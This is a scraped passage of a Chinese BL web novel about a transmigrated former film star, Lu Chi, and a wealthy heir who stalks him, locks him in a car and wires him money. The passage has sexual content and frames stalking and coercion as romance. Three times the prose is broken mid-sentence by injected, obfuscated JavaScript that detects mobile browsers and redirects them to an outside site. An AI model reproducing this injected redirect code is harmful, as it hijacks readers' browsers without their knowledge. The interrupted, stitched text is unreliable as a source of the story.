路池问系统:【你管这叫主角攻救下了主角受?】 系统理直气壮:【从结果上来说,要不是梁嘉树出现,顾言言很可能还会被梁之羽打,从而丧命。这难道不是救了他嘛!】 路池啃掉冰淇淋的头,视线掠过不远处商店落地窗的反射,忽然很轻地眯了下眼。 他慢悠悠拐弯:【梁嘉树看着梁之羽动手,又看着顾言言被打,最后出声绑人也用意不明。而原著里提过,他从小一路跳级上的A大,才二十岁就已经研三,今年更是开始参与家族企业工作。这说明什么?】 系统似懂非懂:【说明,说明他算个人物?】 【......】 路池咔嚓咬掉甜筒,面不改色:【说明他脑子灵、智商高,对一切心知肚明。我辞掉工作,能让他对我少点疑心。】 【况且这种人就是闷骚男,表面越冷淡,心里越吓人,因为你不知道他的下限在哪里。】 搞跟踪就算了。 穿搭还无聊透顶,看得人只想给他上香。才二十岁就这么古板似活佛,要是哪天见了路池跳脱衣舞,岂不是要自戳双目以证清白? 路池忍不住被自己逗笑。 系统却吓住了,呆了半天,才说:【那我们不勾引他了,我们勾引主角受,小白花一定不会伤害我们的!】 路池还是笑,没提醒它,有些时候,小白花和霸王花其实没区别。 【放心,FOM是剧情高发地,我辞职后可以用客人的身份去,不影响什么。】 他才不当打工仔,累死累活跳完舞,大头钱都让资本家拿——谁说客人不能跳舞?他完全可以站着把钱赚了! 八月末,街上温度很高,路池慢悠悠地又转了个弯。 系统看着那个熟悉的冰淇淋车,忽然意识到不对:【宿主,你已经走过这条街了。】 路池脚步一停:【是吗?】 系统:【是啊,你手里的水蜜桃冰淇淋就是那里买的。】 路池眨了眨眼,哦了声,慢吞吞打开手机,开始查百度地图。 系统一愣,回忆起刚穿来的这一个星期,每次上下班路池都要开着手机...... 它恍然大悟:【宿主,你路痴啊?】 路池大方承认:【嗯嘟。】 系统:【......】 …… 不远处。 坐在副驾的梁嘉树沉默抬眸,眼睁睁看着路池绕着这座楼走了两圈,以为他是发现了自己,在故意耍人。 谁知路池停在原地,几口咬掉手里的甜筒,又跑到冰淇淋车前买了个新的大甜筒,青提味。 他举着那个大到夸张的青提造型甜筒,背着青蛙头包包,又开始边吃边走。 梁嘉树:“......” 身后的人念完路池资料,很快拿出另一份比较厚的。这份左上角印着一张清秀白皙的彩色照片,名字那行只有三个字:顾言言。 “少爷——” 梁嘉树接过来,毫不在意扔进隔屉,眼睛依旧盯着路池,不知在想什么。 活像道士在盯妖精。 嘟嘟两声。 黑色迈巴赫因为行驶太慢,被后面车按着喇叭催。公共街区不好临时封道,更何况这是跟踪,大张旗鼓显然不太行。 司机有些为难地看过来。 梁嘉树面无表情,还未开口。 下一秒。 热得发慌,又舍不得打车的路池忽然转身,毫无预兆走到迈巴赫前,弯腰,漫不经心地敲了敲车窗。 两秒后。 车窗缓缓下降。 路池对上梁嘉树那双漆黑的瞳仁,一口咬掉青提头,很不客气地问:“你跟踪我啊?” 装什么活佛。 有够闷骚。 “......” 梁嘉树一时沉默,大概没想到他会这么直白。 路池懒洋洋瞥他一眼,也没再问,示意司机开车门,然后很理直气壮地坐进后排,将出租屋地点报给了司机。 “劳驾送我回家,谢谢。” 他神色自若地说完,咔嚓两下吃掉甜筒,开始闭眼享受冷气了。 梁嘉树沉默片刻,下车,和后排下属交换位置,坐在了路池对面。 司机不知所措,愣了几秒,才在雇主冰冷的眼神中踩下油门。梁嘉树抬眸,透过后视镜看见路池的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805851|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰粉色碎发、瓷白巴掌脸。唇角勾着,大概是因为问住了他,所以有些得意。 确实一脸聪明相。 但不知为何,梁嘉树看着他那个蹭着真皮座椅的青蛙大头包,就觉得这是一只自作聪明的蠢蝴蝶。 一头撞进猎人的陷阱,还在沾沾自喜。 他垂眸,理了理熨烫整齐的袖口。片刻,伸手拿出那份资料,不紧不慢开口:“一周赚五百万,好本事。” 咔哒一声。 车门忽然上锁。 路池一顿,睁开眼。 窗外景色飞速掠过,很陌生,不是任何开往出租屋的路。 路池转头,对上梁嘉树漆黑的眼睛,里头情绪黑沉,没有丝毫波澜。 ——他故意的。 故意引他上车。 路池听见梁嘉树声音冷淡地问:“路先生,你想钓我弟弟?” 话音落下。 路池眉梢轻轻一挑。 窗外景色飞快,他盯着梁嘉树道士收妖般的表情,半晌,忽然笑了下,觉得这人挺有意思的。 闷骚不说。 初次见面时间不超过十分钟,就要搞跟踪、强行锁人、逼着问话。完全不是对待活人的手段,是对待感兴趣玩偶的手段。 只要稍微引起他注意。 他就要不管不顾、死死抓碎在掌心,最好将人恐吓得服服帖帖,没办法再有丝毫不驯。 是强迫症,还是单纯心理病态? 才二十岁,性格就这么扭曲了。 系统在脑海泪流成河地尖叫:【怎么办怎么办怎么办变态变态变态!宿主我对不起你呜呜呜呜……】 路池笑:【没关系。】 系统抽抽嗒嗒:【真的吗?】 路池:【真的呀。我以前是影帝,私生粉很多,什么变态都见过。】 那、那确实挺见过世面哦…… 三言两语安抚好系统。 路池看着梁嘉树的眼睛,翘起二郎腿,懒洋洋反问:“梁少爷,你是在嫉妒?” 梁嘉树一顿。 隔着几米距离,他的瞳仁迅速变冷,车内气氛瞬间降低八个度。司机和助手都吓得脸色一白,连忙升起车内挡板,不敢出声。 “你说什么?” 路池没回答。 他漫不经心撑着下颌,忽然歪头,猝不及防一脚踩在梁嘉树的大腿上,毫无征兆。 脚下肌肉瞬间绷得像硬石块。 在青年条件反射要起身的瞬间。 路池伸手,一把扯住梁嘉树平整锋利的衣领,猛地拽过来,毫不客气死死按住了人后颈。 他的力气很大。 指尖却柔软,冷白如玉。 平整的衬衫瞬间揉乱。 路池笑着轻声重复:“我说——梁嘉树,你是不是嫉妒梁之羽被我扇啊?” 车内一片死寂。 梁嘉树罕见脑子空白,眼里只剩路池此刻的样子—— 他看着他起反应的裤子,像在看一只随地发/情的狗。 5. 世界一 车里很静,只有空调隐隐作响。 系统在路池脑子里惊恐尖叫:【他他他他他居然……变态!】 碰一下腿而已! 竟敢怒然大勃! 路池沉默几秒,大概也没想到梁嘉树这么“年轻气盛”。 他见这人一张上坟脸,还以为真遇到二十岁的活佛,没多想就踩过去,当作教训他的跟踪与恐吓。 谁知不是活佛,是死装哥。 系统恶狠狠抽噎:【宿主快扇他,就跟扇梁之羽一样!变态就是欠揍!】 扇他?路池没动,细密的眼睫一眨不眨,像模拟人生里被BUG定住的小人。 他真怕他爽到。 系统也沉默两秒,数据流一停,又一次神奇地智商在线了: 【宿主,你、你该不会是……不知道怎么收场了吧?】 路池:【嗯嘟。】 系统:【......】 没办法,路影帝以前只在保镖或警局里见过变态,他的工作人员护他很紧,从来不让他有独自面对危险的机会。路池想破头也想不到,居然会有人刚见面就怒然大勃。 这礼貌吗? 但他还算撑住,面上神色不变,依旧睨着一双上翘多情眼,挑衅地笑:“梁嘉树,看来你也被我钓到啊。” 两个人四目相对。 梁嘉树听见他语气里的轻笑,尾音飘好高,仿佛被猫咪得意的漂亮大尾巴扫过,留下一点轻微的痒。 梁嘉树瞳仁漆黑,没说话,被人强行按住后颈也丝毫不显局促。 他只在自己勃/起的瞬间有一秒表情空白。 但也只是一秒。 一秒后,梁嘉树忽然伸手,一把摸上路池瓷白的脚腕,圈进掌心倏地拖过来—— 路池没防备他这突如其来的一下,猛地失去平衡,倒栽葱一样栽进这人怀里。鼻尖撞到他肩窝,闻到一股铺天盖地的化学试剂怪味。 路池呛得连打两个喷嚏,愤然抬头咳嗽,察觉到他越来越精神的反应,目瞪口呆到忘记挣脱:“......你有病啊?” 这样也能兴奋? 梁嘉树盯着路池,看他终于脱了那层强装游刃有余的壳子,才平静开口:“你先的。” 不管是在FOM,还是在街上。 都是路池先故意引起他注意的。 ——花蝴蝶绕着坟头飞啊飞,在坟头眼前飘啊飘。 不怪他才见面十分钟就想抓在掌心,死死捏住。 梁嘉树没见过这么鲜活的人。 路池气笑,怀疑他有臆想症:“全场都在注意我,你算老几?我这张脸在公厕都有人搭讪,你排队也得拿号码牌吧?” 他第一次被人抱怀里,第一次被人圈脚腕。 离太近,梁嘉树的掌心很热,滚烫一团紧贴皮肤,像甩不脱的水鬼。偏偏脸上表情很淡,特别能装。 车里冷气呼呼作响,原本冰冻的气氛散了,变成莫名其妙的微妙安静。 路池浑身都不自在,语气也跟着情绪变得有点冷,推开他就要走:“停车开锁,我要回去睡觉。” 懒得再跟二十岁的小鬼头玩。 梁嘉树盯着他,宽大掌心不肯放。 目光落在路池侧脸上的细小绒毛,很冷淡地问:“怎么排队。” 路池:“?” 他终于确定了,主角攻真的有病。 路池不语,只是一昧地用力挣脱梁嘉树的手。 他是成年男人,很快一脚甩掉梁嘉树,躲鬼一样坐在最旁边,再转头一看,窗外景色隐隐有些眼熟。 又跟着绕了两个弯,黑色迈巴赫稳稳停在一个熟悉的小区门口,安静不动了。 是他租的房子小区。 咔哒一声,车锁打开。 路池挑眉,但没回头,也没等司机绕过来,自己开门下车。 燥热的暑气扑面而来,司机几步迎上来,语气殷勤地解释:“其实少爷只是让我们绕一绕路,拖一下时间,不是真的想带路先生走。” 只是吓一吓他而已。 没想到路池这么毫无顾忌,说踩人就踩人。 车窗下降。 路池漫不经心转头,对上车里梁嘉树的眼睛。 依旧是漆黑两只,悄无声息盯着自己,对视了也不缩回去。原本平整的衣领皱巴巴一片,像被妖精揉过。 ......而且居然还在怒然大勃。 路池简直麻了,飞快转头,感觉自己眼睛好脏。 梁嘉树倒很平静,依旧目不转睛盯着他,不知在想什么,忽然冷淡道:“给我号码牌。” 路池:“……” 路池懒得理神经病,抱着自己的悲伤青蛙大头包,毫无留恋地潇洒转身离开。 梁嘉树没有再追上来。 系统在数据流里凌乱,不懂为什么主角攻突然这样,呆呆说什么:【人设……ooc……变态……】 系统:【宿主,这个世界和我想的好像不一样。】 路池嗯了声,心说他也觉得。系统又问:【为什么攻一攻二,连主角受我现在都感觉不太对呢?】 路池累得很,随口敷衍多疑系统:【不知道啊,可能是因为他们压抑,他们苦吧。】 于是系统又呆得没话说。 路池打了个哈欠,一路走到住的单元楼门下,刷卡进电梯。滴滴两声,开了门。 天气热,房子户型是两室一厅,刚打开就散出来一股闷热暑气。 路池赶紧进门换鞋,开空调洗澡。 漂染过的粉头发毛毛躁躁,吹干后带点自来卷,落在眉眼间,乍一看去,让他像只橱窗里的西洋娃娃。 但路池已经困得没力气梳一梳。 今天遇到的事有点多,好累。 他没精神地换好睡衣,伸手咔哒关上大灯,留下一盏昏黄小夜灯。光晕洒落,温温柔柔地浸染过来,是很温暖的颜色。 路池满意地倒在床上,想起梁嘉树的反常。 与其说是ooc,不如说是试探。 他若有所思,问系统:【你确定我在这个世界的身份没问题?】 系统保证:【宿主你的身份绝对干净,绝对绝对绝对没有任何问题!】 路池总感觉有点不对,但脑子太困,他也没多想,确定后便点点头,小狗般卷住被子,在温暖中秒睡了过去。 夜灯笼罩住清瘦的男人。 系统安静下来,怕他感冒,贴心地调高了一点空调温度。 …… 弯月如钩。 梁嘉树抬眸,没什么表情地看着那扇昏黄的落地窗。 路池一离开,司机和助理都没再说话,车里重新变得安静。 但梁嘉树掌心还残留着他腕骨的触感和温度,很瘦,锋利又温热。鼻尖也萦绕着一股香味,淡淡的,应该是洗发水。 不知过了多久。 梁嘉树终于吩咐司机离开。 黑色迈巴赫发动,转眼消失在街角。半小时后,驶进水云苑小区,停在了一座单人公寓楼下。 这是梁嘉树名下的一处房产,距离A大很近,打通22、23两层。除了实验室,梁嘉树平时就睡在这。 他拿着那份路池的资料,面无表情上楼,洗澡换衣服睡觉,全程都没说话,安静得像只鬼。 第二天一大早,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805852|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有梁家的助理来敲门。 助理进来时瞥见茶几上的资料,看了眼,发现是路池,连忙询问:“少爷,路先生那边还要继续查吗?” 梁嘉树坐在沙发上,掌心躺着一根粉色头发,正神色难辨地垂眸看,闻言没说话。 他性格很古怪,不说话一般代表默认。 助理明白了他的意思,小心将资料收起,又拿出了顾言言的那份。 ——上个月,梁总意外发现有人在摸梁之羽的出入地点。她没工夫理会这些小事,转手就交给了儿子梁嘉树去查,也算对他的锻炼。 梁嘉树今年已经研三,却依旧天天抱着那堆生化试剂泡在实验室,一副要走火入魔的科学狂人样。 听说已经炸了好几次机器,要不是梁氏每年都在A大投资,他又实在优秀,校董会都忍不住要找上门来。 梁总一抬手,昨晚直接让人封了实验室。 梁嘉树睡醒接到她电话。女人刚开完会,边看文件边轻描淡写地通知:“出去转转,沾点人味。” “我怕你哪天心理变态,发病给人投毒。” 梁嘉树挂断电话,连衣服都没换,直接去了FOM,打算把梁之羽这个蠢货绑回去,别再给他找事。 再犯蠢,他不介意让人废掉这个蠢货的手或脚——喜欢玩,废掉总该安分点。 但他没想过会碰见一只粉色花蝴蝶。 带刺那种。 路池出现得太突然,也太亮眼,令所有人都摸不着头脑。梁嘉树马上让人用最快速度去查,却还是忍不住跟上去。 梁家的人动作很快,顾言言那边基本已经确定有林家的手笔。怪异的是路池的履历:出生、孤儿、上学、工作……除了意外背上赌债,活得宛如假人。 他的履历太干净了,偏偏查不出任何问题。 没有任何问题,才是问题。 梁嘉树看着那根毛毛躁躁的粉色头发,半晌,起身拿了个密封试验袋,放进去后又开始盯着头发看,不知在想什么。 助理移开目光,拼命将自己脑子里的“变态狂”三个字压下去。 窗外有朝阳洒落。 许久,梁嘉树转过头,面无表情地看向助理:“叫FOM的经理现在过来。” - 八月末的清晨犹带热意。 早上九点,上完夜班的顾言言终于回到舅舅顾杰的出租屋。 天色澄明,出租屋位于A市的城中村区,尾巷中后段。周围鱼龙混杂,什么职业都有,多数都不太正经。 隔壁几家关着门,脏兮兮的玻璃窗透出暧昧的粉紫色灯光,隐隐传来的声音也粘腻暧昧,听得人脸红。 顾言言目不斜视,路过几盏残破路灯,推开院门,果然看见顾杰正毫无节操地蹲在门边听墙角,烟熏黄的牙齿露着,笑容格外令人生厌。 他顿了下,皱眉关门。 再一转头,顾杰已经迅速凑过来,迫不及待地问:“怎么样?” 顾言言掏出裤袋里亮着灯的录音笔,摇头:“梁之羽昨晚兴致挺好的,我没机会过去。” 顾杰瞬间脸色铁青,好一会儿,狐疑地盯住顾言言,眼神很凶狠:“林家那边说了,最近梁之羽心情很暴,稍微激一激就忍不住打人。怎么会兴致很好?” “你是不是怕挨打才不敢上去?是不是!” 顾言言被他揪住衣领拼命晃,瘦弱的身体有些想吐。他忍住,好言好语解释:“是真的,那个夜店来了一个……一个特别漂亮的人,让人看了就心情好。” 还冲他笑。 顾言言想起那个亮晶晶的笑容,顿了下,说:“梁之羽光顾着和他说话了,没空理我。” 6. 世界一 有些人就是这样,非常不讲道理,一出现就将所有目光都剥夺。 顾言言想到什么,语气带出嘲讽:“要不是梁之羽有钱,也配和他说话?恶心的有钱人......” 话音未落,顾杰猛地推开他,恶心得够呛:“你他*有病?老子让你去勾引男人,不是让你被男人勾!” 他一脚踹碎墙角的破烂瓷盆,哐当一阵响,惹来隔壁客人的辱骂。顾杰脾气暴,立刻骂回去:“闭嘴!□□*的,小心老子报警让你光着进局子,烂根嫖虫!” 人渣也讲鄙视链。 他是赌狗,鄙视嫖虫怎么了? 顾言言冷冷看着顾杰,习以为常地拍了拍裤子起身,路过桌上顾杰给自己买的奢牌背包,低头开始洗漱。 ——赌狗都这样,心情好时能对你掏心掏肺,什么都给买。心情不好就开始拳打脚踢,恨不得拿身边人的器官打包卖钱,得一笔赌资。 顾家是实实在在的穷人。 顾奶奶只生了一对儿女,小女儿顾红没学上,很早嫁人生下了顾言言。大儿子顾杰学不进去,高中就辍学离家打工,这么多年只回来过几次。 顾红和丈夫死得早,顾言言好不容易考上大学,来投奔所谓“混得很好”的顾杰,却发现他早已赌得妻离子散,左手小拇指都没了半根——顾杰欠下大几十万高利贷,想跑路,被人家抓回来直接砍了手指,当作警告。 砍手那天,刚好是顾言言来投奔顾杰那天。 那群追债大哥走后,又有几个西装革履的人找过来,出手就是十万现金,让顾杰用顾言言当靶子,开学前引梁家二少动手打人,越惨越好,事后报酬还有五十万。 顾杰还没说话,顾言言就立刻同意了。 他未必看不出来这是连环套。 但顾言言缺钱,A大那么多有钱人,他拿了这笔钱包装自己,和他们结交,要是能随便勾搭上几个,岂不是这辈子都不用发愁? 顾言言真是穷怕了。 他讨厌爷爷奶奶身上的穷酸气,讨厌那个养育他的落后小山村,更讨厌这些能在外面花天酒地的富二代。在他看来,自己只是没投个好胎,不比梁之羽这种酒囊饭袋差哪里。 他要踩着这些人往上爬。 门外的顾杰发完火,捧着电话,语气讨好地和对面的林家人解释。 顾言言没理他,洗漱完拿出面膜,不耐烦地吐出口气,还是细致小心地给自己贴好。等待的间隙,他鬼使神差点开购物软件,搜索“粉色染发剂”。 他有些出神。 再怎么愤世嫉俗,在真正面对有钱人时,顾言言也免不了心虚气短。 但那个叫路池的男人不一样,梁之羽对他出言不逊,他就直接动手教训,扇人都扇得那么理直气壮,毫无顾忌。 顾言言羡慕又向往。 如果能靠近这样的人,他是不是也能拥有这样的自信? 如果能跟路池一样......那说不定,他也能让那些眼高于顶的有钱人甘心拜倒。 顾言言出神盯着屏幕,想起自己早上已经通过了FOM的面试。半晌,他垂眸,下单了同款染发剂和情/趣外套。 他没有投胎好运。 但只要给他机会,他什么都能学。 - 下午快两点,A市太阳烈得能把人烤熟。 路池一觉睡到自然醒,睁开眼时还有点懵。 今天是周日,不用上班。他坐床上发了半天呆,才拿起青蛙水杯吨吨吨开喝。系统跟他打招呼:【宿主,下午好。】 路池:【你也好。】 系统提醒:【宿主,你手机里来了好多消息,要不要看一下?】 路池说不急,顶着一头蓬松凌乱的粉毛爬起来洗漱。空调呼呼吹着,他夹住头发,对着镜子往脸上糊大宝面霜。 系统忍不住夸:【宿主,你真好看。我好幸运,能找到你当宿主。】 路池挑了下眉,盯着镜子里自己的脸,不紧不慢涂完面霜,漫不经心道:【你跟我粉丝一样,都很喜欢夸我。】 路池生前有很多粉丝。 大多是朝气蓬勃的女孩子们,在网上凶得很,发现有人恶意骂路池就冲上去理论。线下见到他却很安静,包场支持他的电影,看完还要认真打一千字真情实感的好评。 很可爱。 系统厚脸皮:【我就是你的粉丝,所以宿主赶快勾引主角吧,我们缺德界需要你!】 路池从鼻腔里哼出点懒洋洋的笑,没再说什么,点开手机一看,居然有几十条未读信息和电话,都来自赵经理。 他没回复,换了一套蓝色无袖运动服,下楼吃饭。 天高云淡,小区门口开了凤凰花和三角梅,满满一条街,颜色鲜亮浓烈,看得人心情也好。 路池吃完饭,随便找了家理发店进去,对迎面而来的店员道:“染黑剪短,谢谢。” 系统疑惑:【宿主?】 路池没解释,坐在椅子里,等理发师上完染膏,才终于打开手机,回拨赵经理的电话。 嘟嘟声只响了半秒。 那头飞快接起,语气之殷勤,彷佛在叫救命恩人:“路池,你终于接电话了!” 路池笑:“不好意思经理,上午在睡觉。您有事找我?” 水云苑公寓。 落地窗外阳光刺目。 赵经理顶着梁嘉树漆黑冷淡的目光,背后冷汗直冒。 从早上八点到现在,梁大少爷把他叫到这里,得知路池辞职后,就让他每隔半小时给路池打一通电话、发两则消息,什么时候有回复,什么时候才能离开。 一整个上午,赵经理连一口水都没喝,盯手机盯得想哭——梁大少爷一言不发,坐在沙发上比鬼还静,瘆得人头皮发麻啊。 赵经理定了定神,很有眼色地打开免提,勉强笑道:“没什么,就是想问一下你,是不是不满意会所的待遇才想着辞职?” “FOM很缺你这样的人才,有什么不满意你尽管说,我们完全可以商量的!” 公寓安静无声。 男人笑吟吟的声音透过电波传来,有点失真,有点撩人:“经理,你很好,是我不好。” 路池叹气,重复一周前赵经理PUA自己的话:“您说的对,我确实除了跳舞什么都不会,要不是您慧眼识人,我怎么能赚到这么多钱呢?” “所以我决定不干了,经理,谢谢你点醒我,你是我的恩人。” 赵经理听得想给路池跪下。 他不敢看梁嘉树的眼神,哭丧着脸,颤颤巍巍道:“小池,我那都是乱说的,你千万别当真......对了,你不是还有债没还吗?你肯定还需要赚钱还债呀!” 路池神神在在:“是啊,唉,要是有人能莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805853|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其妙给我转一百万就好了......好烦恼哦。” 说完这句。 啪嗒一声,路池挂断了电话。赵经理愣住,捧着手机不知作何反应。 他咽着口水,赶紧还要再打过去。 沙发上的梁嘉树忽然开口,声音淡得听不出情绪:“别打了。” “把他联系方式和卡号给我,然后出去。” 赵经理一顿,不敢多问,立刻起身收回手机,点头静悄悄离开,跑得像背后有鬼在追。 不是他怕梁家怕到这种程度。 实在是......梁嘉树性格太古怪了。 他活了三十多年,没见过这种小孩。说阴森又不阴森,但总让人提心吊胆,浑身发毛。 赵经理一路沿电梯出去,走到阳光下,感受到八月末的热气笼罩在头顶,这才吐出口气,觉得背后的白毛汗散尽了。 他摇摇头,刚要开车回去。 手机忽然震动几下,赵经理看见来电,赶紧摸不着头脑地接起:“......梁二少?” 电话另一头。 宿醉醒来的梁之羽声音沙哑,劈头盖脸吩咐:“昨晚那个粉色头发的男人,把他联系方式给我。还有,在我来之前,不许让他再上台跳舞。” “你要是敢让他上台,我让你滚出FOM!” 不等赵经理回答,他已经挂断电话,充分体现了什么叫没礼貌的死超雄。 赵经理嘿了声,砰地关上车门,低声暗骂:“什么玩意儿,以为自己是梁嘉树啊。” 他系上安全带,刚要踩油门。 手机再次震动。 这次是今天早上刚招到的新员工。 好像叫什么顾言言?声音怯怯的,很礼貌地询问:“赵经理,请问您有路池前辈的联系方式吗?” 赵经理:“......” 赵经理忽然抬头,纳闷地看了眼天空,很离谱地想:这该不会是一个以路池为主角的小说世界吧?所以人人都爱他。 那他是什么?一个为难过主角的配角NPC? 赵经理沉思片刻,半晌,还是摸不着头脑地踩下油门,缓缓离开了水云苑。 ...... 热水冲过柔顺黑发,很快吹干。 系统在耳边担心地碎碎念:【怎么办啊宿主?要是主角们忘记你了怎么办?要是他们在一起了怎么办?】 【他们不能在一起,在一起会发生不可控冲突,那样世界线就会毁灭的呜呜呜 ......】 路池挑眉,睁开眼,还没问清楚。 手机忽然连续震动好几下。 他垂眸,好整以暇地点开微信,看见连续三条好友申请。因为时间差不多,所以刚好排成整整齐齐的一列—— LJS:【一百万够吗?】 人生是旷野:【你也给我一种疏离感。通过一下。】 AAA订台找我.小言:【路池前辈您好,我是新员工顾言言,我们昨晚见过的!^^】 系统:【......】 系统:【???】 路池的脸上没什么意外。他指尖懒洋洋一点,很快加上了原始头像的攻一、摇滚头像的攻二、微商头像的主角受。 三秒后。 这三个头像彷佛三只训练有素的狗,同时发来一个问题—— 【你辞职了?】 7. 世界一 和信息一起发来的,还有一条收款短信。 ——【XX银行】您的账户3677于08月21日16:28银联收款人民币1000000.00元(银联在线转账) 系统震惊:【一、一百万欸!宿主,这是主角攻转你的?】 路池:【嗯嘟。】 系统在机械流里抓耳挠腮:【可是原剧情里,就算主角受再怎么穷苦凄惨,主角攻都没给过主角受任何经济帮助啊!】 【为什么他会忽然转你这么多钱?他是不是要害你!】 经过昨晚一通洗礼,系统此时多疑得宛如中年阳/痿的无能丈夫。 路池忍不住笑,像安慰抓狂丈夫的淡定妻子:【害我不至于。】 【放心,他只是想泡我。】 吹风机的声音缓缓停止。 路池起身付款,在一店人的惊艳目光中款款离开理发店。外面阳光明媚,烫得皮肤发热,他撑起太阳伞,躲着日头往回走,背影像只被烫到脚的长腿猫。 【你让我勾引主角,我总得筛选一下他们的性格吧?】 路池说:【这一百万,就当梁嘉树的入场券了。】 ——不管是控制狂还是卫道士,小白花还是非主流,都无所谓。 只要别是铁公鸡就行。 路池向来秉持一个做人原则:绝不跟抠门男打交道。 很晦气。 系统啊了声:【宿主,你终于愿意勾引主角们了吗?】 路池反问:【我什么时候不愿意了?】 公寓门开。 他收伞进去,打开空调,掏出手机漫不经心道:【人嘛,无聊的时候就会想找人玩一玩......感情。】 路池懒洋洋打字,先回复梁嘉树。 LJS:【你辞职了?】 吃饭睡觉不跳舞:【你刚刚不是在旁边听?】 吃饭睡觉不跳舞:【梁少爷真威风,赵经理都要被你吓哭了。】 梁嘉树沉默几秒。 看出路池的开门见山,他也开始如AI般发力输出:【路池,27岁,生日10月22日。】 LJS:【红星福利院出身,A大艺术系毕业。无爱好、无感情史、无来往过密的朋友。一个月前忽然频繁出入豪曼赌场,欠下赌债,一周前应聘FOM服务生,期间还清五百万。】 LJS:【路池,你的人生轨迹很完美。】 LJS:【完美得很假。】 LJS:【你自己知道吗?】 又来了。 那股要将一切失控的意外抓在掌心,剥皮抽筋也必须研究清楚的偏执与冰冷。 呼之欲出的控制欲快穿透屏幕。大概是做多实验,梁嘉树仿佛要冲破网路,明明白白告诉路池:我有能力查清你的一切、攥住你的一切、摆弄你的一切。 所以别想敷衍我、甩脱我。 路池笑了下,觉得应该再隔空踩一踩狂劲大发的主角攻。 他抬起手机,咔嚓自拍一张,不紧不慢发过去。 吃饭睡觉不跳舞:【图片.JPG】 吃饭睡觉不跳舞:【新发色。】 吃饭睡觉不跳舞:【我好看吗?】 照片里的男人漂亮到没办法说谎。 LJS:【......】 LJS:【好看。】 LJS:【黑色很适合你。】 LJS:【...你很好看。】 吃饭睡觉不跳舞:【小猫哼哼.JPG】 吃饭睡觉不跳舞:【那还审我吗,大少爷?】 这个仿佛打情骂俏的称呼和表情一出,那头瞬间卡住,沉默好久才僵硬回复。 LJS:【。】 LJS:【我没那个意思。】 LJS:【抱歉。】 吃饭睡觉不跳舞:【嗯。】 吃饭睡觉不跳舞:【不接受。】 下一秒。 路池轻飘飘一点,眼皮也没抬,毫不犹豫按下删除键。 ...... 公寓客厅。 梁嘉树罕见猛地起身,面无表情盯着对话框里的红色感叹号,双眸漆黑。 茶几上放着无数资料:红星福利院、A大前六届毕业生、豪曼赌场所有打手......他还有无数话要说,还没告诉路池,他正在迅速而猛烈、高效而充分地了解他。 为什么忽然删人? 半晌。 梁嘉树很慢地重新坐下,再次拿起手机,面色平静地一遍又一遍发送好友申请。 那头没理他。 可能在和别人聊天。 比如那个猪脑人身的废物表弟,再比如那个心比天高的顾姓蠢货。 顺着FOM、顺着赵经理,爬虫一样厚着脸皮缠上路池。 梁嘉树垂眸,很轻地捏了下惨白指节,久违地想引爆点什么。实验室就在走廊隔壁,但他第一次没有踏进去的欲望。 他想要的,在屏幕对面。 梁嘉树垂眸,用常年沉浸在数据中的脑子冷冷思考,半晌,面无表情又给路池转过去一百万。 没理他。 再转。 直到转过去五百万。 嗡的一声。 路池终于通过他的好友申请。 吃饭睡觉不跳舞:【?】 吃饭睡觉不跳舞:【大少爷,你钱多啊?】 路池的头像是只毛发凌乱的小猫,瞪着一双气鼓鼓大眼睛,歪头看向镜头。 梁嘉树盯着那只猫,彷佛在和路池隔空对视,很轻地吐出口气。 他终于平静打字。 LJS:【我钱多。】 LJS:【刚才抱歉。】 还是不知道为什么被删。 但道歉总不会踩雷。 路池似乎知道他在想什么,嗡的一声,又发来一张自拍。 这一次,黑发男人懒洋洋靠近了前置。 他歪着头,距离近到能数清睫毛。柔软的额发落在眉间,一双甜蜜上翘的浅褐色瞳仁看过来,和猫一样。 笑意撩人。 吃饭睡觉不跳舞:【原谅你。】 吃饭睡觉不跳舞:【爱的号码牌,拿好。】 吃饭睡觉不跳舞:【你可以开始排队了。】 “......” 梁嘉树盯着那张自拍照,几乎能闻到路池的洗发水香气,和靠近时又热又轻的呼吸。 他坐在沙发上,许久,垂眸看了眼自己的反应,面无表情地起身走向浴室。 哗啦水声弥漫。 不知过了多久,电子屏幕上的漂亮男人脸上沾满湿润,乱七八糟。 一只惨白带茧的手忽然探出,一把捂住照片下半部分,乍一看去,就像手的主人用力捂住了男人唇舌,粗暴地强迫男人歪过头,只能看着自己。 只许看着他。 哗啦啦。 青年肌肉起伏,浴室水声再次响起,久久未散。 ...... 另一头。 系统吞了下不存在的口水,吊着心问:【这就结束了?】 路池关掉梁 